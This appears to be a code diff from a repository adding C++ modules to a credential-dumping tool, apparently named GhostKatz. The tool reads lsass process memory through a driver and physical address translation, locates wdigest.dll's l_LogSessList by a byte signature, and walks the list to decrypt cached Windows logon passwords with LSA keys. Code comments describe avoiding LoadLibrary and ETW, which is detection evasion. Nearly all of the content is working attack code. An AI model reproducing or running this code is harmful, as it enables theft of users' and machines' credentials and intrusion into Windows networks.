// Read ANSI_STRING { USHORT Length; USHORT MaxLength; PCHAR Buffer; }
|
||||
// ----------------------------------------------------------------
|
||||
std::string read_astr(HANDLE h, uint64_t dtb, const uint8_t* data, size_t off) {
|
||||
uint16_t length = rw(data, off);
|
||||
uint64_t buf = rp(data, off + 8);
|
||||
if (!length || !buf) return {};
|
||||
|
||||
auto raw = proc_read(h, dtb, buf, length);
|
||||
if (raw.size() < length) return {};
|
||||
|
||||
return std::string(reinterpret_cast<const char*>(raw.data()), length);
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// Pattern scan across process memory in 64KB chunks
|
||||
// ----------------------------------------------------------------
|
||||
std::vector<uint64_t> scan(HANDLE h, uint64_t dtb, uint64_t base, size_t size,
|
||||
std::span<const uint8_t> pattern) {
|
||||
std::vector<uint64_t> results;
|
||||
constexpr size_t CHUNK = 0x10000;
|
||||
|
||||
for (size_t off = 0; off < size; off += CHUNK) {
|
||||
size_t read_sz = std::min<size_t>(CHUNK, size - off);
|
||||
auto data = proc_read(h, dtb, base + off, read_sz);
|
||||
if (data.size() < pattern.size()) continue;
|
||||
|
||||
for (size_t pos = 0; pos <= data.size() - pattern.size(); ++pos) {
|
||||
if (std::memcmp(data.data() + pos, pattern.data(), pattern.size()) == 0) {
|
||||
results.push_back(base + off + pos);
|
||||
}
|
||||
}
|
||||
}
|
||||
return results;
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
#pragma once
|
||||
#include "driver.h"
|
||||
|
||||
constexpr uint64_t PFN_MASK = 0xFFFFFFFFF000ULL;
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// Virtual-to-physical translation (page table walk with transition page support)
|
||||
// ----------------------------------------------------------------
|
||||
std::optional<uint64_t> vtp(HANDLE h, uint64_t dtb, uint64_t va);
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// Process virtual memory read via physical translation
|
||||
// ----------------------------------------------------------------
|
||||
Bytes proc_read(HANDLE h, uint64_t dtb, uint64_t va, size_t size);
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// Convenience: read pointer from process VA
|
||||
// ----------------------------------------------------------------
|
||||
uint64_t read_ptr(HANDLE h, uint64_t dtb, uint64_t va);
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// Resolve RIP-relative address (LEA / MOV with disp32)
|
||||
// ----------------------------------------------------------------
|
||||
uint64_t resolve_rip(HANDLE h, uint64_t dtb, uint64_t va);
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// Read UNICODE_STRING from struct at offset
|
||||
// ----------------------------------------------------------------
|
||||
std::wstring read_ustr(HANDLE h, uint64_t dtb, const uint8_t* data, size_t off);
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// Read ANSI_STRING from struct at offset
|
||||
// ----------------------------------------------------------------
|
||||
std::string read_astr(HANDLE h, uint64_t dtb, const uint8_t* data, size_t off);
|
||||
|
||||
// ----------------------------------------------------------------
|
||||
// Pattern scan in process memory
|
||||
// ----------------------------------------------------------------
|
||||
std::vector<uint64_t> scan(HANDLE h, uint64_t dtb, uint64_t base, size_t size,
|
||||
std::span<const uint8_t> pattern);
|
||||
+223
@@ -0,0 +1,223 @@
|
||||
#include "wdigest.h"
|
||||
#include "crypto.h"
|
||||
#include <algorithm>
|
||||
#include <cwctype>
|
||||
#include <fstream>
|
||||
|
||||
// GhostKatz WDigest signature: cmp rbx, rcx / je
|
||||
// Preceded by: lea rcx, [rip+disp32] -> disp32 is at pattern[-4]
|
||||
static const uint8_t WDIGEST_SIG[] = { 0x48, 0x3b, 0xd9, 0x74 };
|
||||
|
||||
// ================================================================
|
||||
// Find wdigest.dll in lsass module list
|
||||
// ================================================================
|
||||
static ModuleInfo find_wdigest_module(HANDLE h, uint64_t dtb, uint64_t ep, uint32_t peb_off) {
|
||||
uint64_t peb_va = rp(virt_read(h, ep + peb_off, 8).data(), 0);
|
||||
auto peb = proc_read(h, dtb, peb_va, 0x20);
|
||||
if (peb.size() < 0x20) throw std::runtime_error("Cannot read PEB for wdigest");
|
||||
uint64_t ldr = rp(peb.data(), 0x18);
|
||||
|
||||
uint64_t head = ldr + 0x20;
|
||||
uint64_t cur = read_ptr(h, dtb, head);
|
||||
std::set<uint64_t> seen = { head };
|
||||
|
||||
for (int i = 0; i < 200; ++i) {
|
||||
if (seen.contains(cur) || !cur) break;
|
||||
seen.insert(cur);
|
||||
auto entry = proc_read(h, dtb, cur - 0x10, 0x80);
|
||||
if (entry.size() < 0x80) break;
|
||||
|
||||
uint64_t dll_base = rp(entry.data(), 0x30);
|
||||
uint32_t dll_size = rd(entry.data(), 0x40);
|
||||
uint16_t name_len = rw(entry.data(), 0x48);
|
||||
uint64_t name_ptr = rp(entry.data(), 0x50);
|
||||
|
||||
if (name_len && name_ptr) {
|
||||
auto raw = proc_read(h, dtb, name_ptr, std::min<uint16_t>(name_len, 512));
|
||||
std::wstring name(reinterpret_cast<const wchar_t*>(raw.data()), raw.size() / 2);
|
||||
for (auto& c : name) c = static_cast<wchar_t>(std::towlower(c));
|
||||
if (name.find(L"wdigest.dll") != std::wstring::npos)
|
||||
return ModuleInfo{ .base = dll_base, .size = dll_size };
|
||||
}
|
||||
cur = rp(entry.data(), 0x10);
|
||||
}
|
||||
throw std::runtime_error("wdigest.dll not found in lsass module list");
|
||||
}
|
||||
|
||||
// ================================================================
|
||||
// Read DLL from disk as raw bytes (no LoadLibrary, no ETW)
|
||||
// ================================================================
|
||||
static Bytes read_dll_from_disk(const wchar_t* dll_name) {
|
||||
wchar_t sys_dir[MAX_PATH]{};
|
||||
GetSystemDirectoryW(sys_dir, MAX_PATH);
|
||||
std::wstring path = std::wstring(sys_dir) + L"\\" + dll_name;
|
||||
|
||||
std::ifstream f(path, std::ios::binary | std::ios::ate);
|
||||
if (!f) return {};
|
||||
auto size = f.tellg();
|
||||
f.seekg(0);
|
||||
Bytes data(static_cast<size_t>(size));
|
||||
f.read(reinterpret_cast<char*>(data.data()), size);
|
||||
return data;
|
||||
}
|
||||
|
||||
// ================================================================
|
||||
// PE section parsing for raw file bytes
|
||||
// ================================================================
|
||||
struct SectionInfo {
|
||||
uint32_t virtual_address; // RVA when loaded
|
||||
uint32_t virtual_size;
|
||||
uint32_t raw_offset; // Offset in file
|
||||
uint32_t raw_size;
|
||||
};
|
||||
|
||||
static SectionInfo find_text_section(const Bytes& pe) {
|
||||
if (pe.size() < 0x200) return {};
|
||||
uint32_t pe_off = rd(pe.data(), 0x3C);
|
||||
if (pe_off + 0x18 > pe.size()) return {};
|
||||
|
||||
uint16_t nsec = rw(pe.data(), pe_off + 6);
|
||||
uint16_t opt_hdr_size = rw(pe.data(), pe_off + 0x14);
|
||||
uint32_t sec_start = pe_off + 0x18 + opt_hdr_size;
|
||||
|
||||
for (uint16_t i = 0; i < nsec; ++i) {
|
||||
uint32_t s = sec_start + i * 40;
|
||||
if (s + 40 > pe.size()) break;
|
||||
if (std::memcmp(pe.data() + s, ".text", 5) == 0) {
|
||||
return {
|
||||
.virtual_address = rd(pe.data(), s + 12),
|
||||
.virtual_size = rd(pe.data(), s + 8),
|
||||
.raw_offset = rd(pe.data(), s + 20),
|
||||
.raw_size = rd(pe.data(), s + 16),
|
||||
};
|
||||
}
|
||||
}
|
||||
return {};
|
||||
}
|
||||
|
||||
// ================================================================
|
||||
// Extract WDigest credentials
|
||||
// ================================================================
|
||||
std::vector<WDigestCredential> extract_wdigest_creds(
|
||||
HANDLE h, uint64_t dtb,
|
||||
uint64_t lsass_eprocess, uint32_t peb_offset,
|
||||
const LsaKeys& keys)
|
||||
{
|
||||
// Find wdigest.dll in lsass
|
||||
std::cout << "[*] Finding wdigest.dll in lsass...\n";
|
||||
auto wmod = find_wdigest_module(h, dtb, lsass_eprocess, peb_offset);
|
||||
std::cout << std::format(" wdigest.dll base={:#x} size={:#x}\n", wmod.base, wmod.size);
|
||||
|
||||
// Read wdigest.dll from disk as raw bytes
|
||||
auto dll_bytes = read_dll_from_disk(L"wdigest.dll");
|
||||
if (dll_bytes.size() < 0x1000) {
|
||||
std::cerr << "[-] Cannot read wdigest.dll from System32\n";
|
||||
return {};
|
||||
}
|
||||
|
||||
auto text = find_text_section(dll_bytes);
|
||||
if (!text.raw_size || text.raw_offset + text.raw_size > dll_bytes.size()) {
|
||||
std::cerr << "[-] Cannot find .text section in wdigest.dll\n";
|
||||
return {};
|
||||
}
|
||||
|
||||
// Scan .text raw bytes for signature (need 4 bytes before match for disp32)
|
||||
const uint8_t* text_raw = dll_bytes.data() + text.raw_offset;
|
||||
uint32_t sig_off = 0;
|
||||
for (uint32_t i = 4; i + sizeof(WDIGEST_SIG) <= text.raw_size; ++i) {
|
||||
if (std::memcmp(text_raw + i, WDIGEST_SIG, sizeof(WDIGEST_SIG)) == 0) {
|
||||
sig_off = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (sig_off == 0) {
|
||||
std::cerr << "[-] WDigest l_LogSessList signature not found\n";
|
||||
return {};
|
||||
}
|
||||
|
||||
// RIP-relative resolution on raw file bytes:
|
||||
//
|
||||
// lea rcx, [rip + disp32] ; 48 8d 0d [4 bytes disp]
|
||||
// cmp rbx, rcx ; 48 3b d9 <-- sig match at sig_off
|
||||
// je ... ; 74 xx
|
||||
//
|
||||
// disp32 sits at text_raw[sig_off - 4]
|
||||
// When loaded, RIP at execution = sig_rva (address of cmp instruction)
|
||||
// sig_rva = text.virtual_address + sig_off
|
||||
// target_rva = sig_rva + disp32
|
||||
// target_in_lsass = wdigest_base + target_rva
|
||||
|
||||
int32_t disp;
|
||||
std::memcpy(&disp, text_raw + sig_off - 4, 4);
|
||||
|
||||
uint32_t sig_rva = text.virtual_address + sig_off;
|
||||
uint32_t target_rva = static_cast<uint32_t>(static_cast<int32_t>(sig_rva) + disp);
|
||||
uint64_t list_head = wmod.base + target_rva;
|
||||
|
||||
std::cout << std::format(" l_LogSessList at {:#x} (RVA={:#x})\n", list_head, target_rva);
|
||||
|
||||
// Verify list is mapped
|
||||
auto test_read = proc_read(h, dtb, list_head, 8);
|
||||
if (test_read.size() < 8 ||
|
||||
std::all_of(test_read.begin(), test_read.end(), [](uint8_t b) { return b == 0; })) {
|
||||
std::cout << " WDigest: l_LogSessList not mapped (WDigest caching may be disabled or no logon since enable)\n";
|
||||
return {};
|
||||
}
|
||||
|
||||
// Walk l_LogSessList linked list
|
||||
// +0x00: Flink, +0x08: Blink
|
||||
// +0x30: Username (UNICODE_STRING)
|
||||
// +0x40: Domain (UNICODE_STRING)
|
||||
// +0x50: Password (UNICODE_STRING, 3DES encrypted)
|
||||
uint64_t flink = rp(test_read.data(), 0);
|
||||
std::vector<WDigestCredential> results;
|
||||
std::set<uint64_t> seen;
|
||||
|
||||
while (flink && flink != list_head && !seen.contains(flink) && seen.size() < 200) {
|
||||
seen.insert(flink);
|
||||
|
||||
auto entry = proc_read(h, dtb, flink, 0x70);
|
||||
if (entry.size() < 0x60) break;
|
||||
|
||||
auto user = read_ustr(h, dtb, entry.data(), 0x30);
|
||||
auto domain = read_ustr(h, dtb, entry.data(), 0x40);
|
||||
|
||||
if (!user.empty() && !domain.empty()) {
|
||||
uint16_t pw_max_len = rw(entry.data(), 0x52);
|
||||
uint16_t pw_len = rw(entry.data(), 0x50);
|
||||
uint64_t pw_ptr = rp(entry.data(), 0x58);
|
||||
|
||||
if (pw_max_len > 0 && pw_len > 0 && pw_ptr) {
|
||||
auto enc_pw = proc_read(h, dtb, pw_ptr, pw_max_len);
|
||||
if (!enc_pw.empty()) {
|
||||
// Pad to 8-byte alignment for 3DES
|
||||
if (enc_pw.size() % 8 != 0)
|
||||
enc_pw.resize((enc_pw.size() + 7) & ~7ULL, 0);
|
||||
|
||||
auto dec = lsa_decrypt(enc_pw, keys.aes_key, keys.des_key, keys.iv);
|
||||
if (!dec.empty()) {
|
||||
dec.push_back(0); dec.push_back(0);
|
||||
std::wstring pw(reinterpret_cast<const wchar_t*>(dec.data()));
|
||||
|
||||
if (!pw.empty()) {
|
||||
bool is_machine = !user.empty() && user.back() == L'$';
|
||||
if (is_machine) {
|
||||
std::string hex_pw;
|
||||
for (size_t i = 0; i < pw_len && i < dec.size(); ++i)
|
||||
hex_pw += std::format("{:02x}", dec[i]);
|
||||
results.push_back({ .user = user, .domain = domain,
|
||||
.password = std::wstring(hex_pw.begin(), hex_pw.end()) });
|
||||
} else {
|
||||
results.push_back({ .user = user, .domain = domain, .password = pw });
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
flink = rp(entry.data(), 0);
|
||||
}
|
||||
|
||||
return results;
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
#pragma once
|
||||
#include "common.h"
|
||||
#include "memory.h"
|
||||
#include "lsa.h"
|
||||
|
||||
// Extract WDigest cleartext passwords from lsass memory.
|
||||
// Uses local LoadLibraryA("wdigest.dll") for signature scan,
|
||||
// then remote proc_read for actual credential data.
|
||||
// Requires LSA encryption keys (same as MSV1_0).
|
||||
std::vector<WDigestCredential> extract_wdigest_creds(
|
||||
HANDLE h, uint64_t dtb,
|
||||
uint64_t lsass_eprocess, uint32_t peb_offset,
|
||||
const LsaKeys& keys);
|
||||
Reference in New Issue
Block a user